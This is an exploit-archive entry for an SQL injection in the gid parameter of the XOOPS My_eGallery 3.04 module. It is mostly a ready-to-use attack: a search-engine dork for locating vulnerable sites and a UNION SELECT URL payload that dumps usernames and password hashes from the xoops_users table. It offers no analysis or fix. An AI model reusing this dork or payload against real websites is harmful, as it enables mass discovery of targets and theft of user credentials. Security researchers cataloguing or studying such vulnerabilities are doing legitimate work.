XOOPS Module My_eGallery 3.04 (gid) SQL Injection Vulnerability

2008-03-12T00:00:00
ID 1337DAY-ID-2732
Type zdt
Reporter [email protected]
Modified 2008-03-12T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
XOOPS Module My_eGallery 3.04 (gid) SQL Injection Vulnerability
===============================================================



##########################################
#
# XOOPS Module My_eGallery 3.04
#
#download=http://webscripts.softpedia.com/script/Modules/Other-Modules/My-eGallery-dev-8113.html
#
#
###########################################
#
# DORKS 1 : allinurl :"modules/my_egallery"
#
###########################################
EXPLOIT :

modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/*




#  0day.today [2017-12-31]  #